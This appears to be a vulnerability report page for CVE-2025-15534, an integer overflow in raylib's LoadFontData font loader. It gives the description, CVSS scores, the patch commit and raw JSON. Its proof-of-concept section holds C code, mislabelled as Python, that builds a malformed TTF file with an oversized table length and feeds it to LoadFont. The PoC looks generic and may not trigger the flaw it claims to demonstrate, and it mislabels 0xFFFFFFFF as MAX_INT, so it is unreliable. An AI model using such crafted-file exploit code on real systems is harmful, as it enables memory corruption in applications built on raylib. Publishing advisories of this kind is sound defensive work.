Security Vulnerability Report
中文
CVE-2025-15534 CVSS 5.3 MEDIUM

CVE-2025-15534

Published: 2026-01-18 07:16:02
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was identified in raysan5 raylib up to 909f040. Affected by this issue is the function LoadFontData of the file src/rtext.c. The manipulation leads to integer overflow. The attack can only be performed from a local environment. The exploit is publicly available and might be used. The identifier of the patch is 5a3391fdce046bc5473e52afbd835dd2dc127146. It is suggested to install a patch to address this issue.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:raylib:raylib:*:*:*:*:*:*:*:* - VULNERABLE
raysan5 raylib < 909f040 commit
raylib (all versions up to commit 909f040)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-15534 PoC - Integer Overflow in raylib LoadFontData // This PoC demonstrates the integer overflow vulnerability #include "raylib.h" #include <stdio.h> // Function to create a malicious font file that triggers integer overflow // The font file contains crafted values that cause overflow in LoadFontData void create_malicious_font(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) return; // TTF font header with crafted values unsigned char header[] = { 0x00, 0x01, 0x00, 0x00, // sfnt version 0x00, 0x01, // numTables 0x00, 0x10, // searchRange 0x00, 0x00, // entrySelector 0x00, 0x00, // rangeShift }; // Write malicious header fwrite(header, 1, sizeof(header), fp); // Crafted table directory with overflow-inducing values unsigned char table_dir[] = { 0x00, 0x00, 0x00, 0x00, // tag 0x00, 0x00, 0x00, 0x00, // checksum 0x00, 0x00, 0x00, 0x00, // offset // Crafted length that causes integer overflow 0xFF, 0xFF, 0xFF, 0xFF, // length (MAX_INT) }; fwrite(table_dir, 1, sizeof(table_dir), fp); fclose(fp); } int main() { const int screenWidth = 800; const int screenHeight = 450; InitWindow(screenWidth, screenHeight, "CVE-2025-15534 PoC"); SetTargetFPS(60); // Create malicious font file const char* malicious_font = "malicious_font.ttf"; create_malicious_font(malicious_font); // This call triggers the vulnerability // LoadFontData will process the crafted font file // and suffer from integer overflow when calculating buffer sizes Font font = LoadFont(malicious_font); while (!WindowShouldClose()) { BeginDrawing(); ClearBackground(RAYWHITE); DrawText("CVE-2025-15534 Integer Overflow PoC", 10, 10, 20, RED); DrawText("Vulnerable: raylib LoadFontData function", 10, 40, 20, DARKGRAY); EndDrawing(); } UnloadFont(font); CloseWindow(); return 0; } // Mitigation: Apply patch from commit 5a3391fdce046bc5473e52afbd835dd2dc127146 // or upgrade to patched version of raylib

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15534", "sourceIdentifier": "[email protected]", "published": "2026-01-18T07:16:01.963", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in raysan5 raylib up to 909f040. Affected by this issue is the function LoadFontData of the file src/rtext.c. The manipulation leads to integer overflow. The attack can only be performed from a local environment. The exploit is publicly available and might be used. The identifier of the patch is 5a3391fdce046bc5473e52afbd835dd2dc127146. It is suggested to install a patch to address this issue."}, {"lang": "es", "value": "Una vulnerabilidad fue identificada en raysan5 raylib hasta 909f040. Afectada por este problema es la función LoadFontData del archivo src/rtext.c. La manipulación conduce a desbordamiento de entero. El ataque solo puede realizarse desde un entorno local. El exploit está disponible públicamente y podría ser utilizado. El identificador del parche es 5a3391fdce046bc5473e52afbd835dd2dc127146. Se sugiere instalar un parche para abordar este problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-189"}, {"lang": "en", "value": "CWE-190"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:raylib:raylib:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-01-01", "matchCriteriaId": "3744F4B4-5B21-4874-8236-9CCFC788D89F"}]}]}], "references": [{"url": "https://github.com/oneafter/1224/blob/main/segv1", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://github.com/raysan5/raylib/", "source": "[email protected]"}, {"url": "https://github.com/raysan5/raylib/commit/5a3391fdce046bc5473e52afbd835dd2dc127146", "source": "c ... (truncated)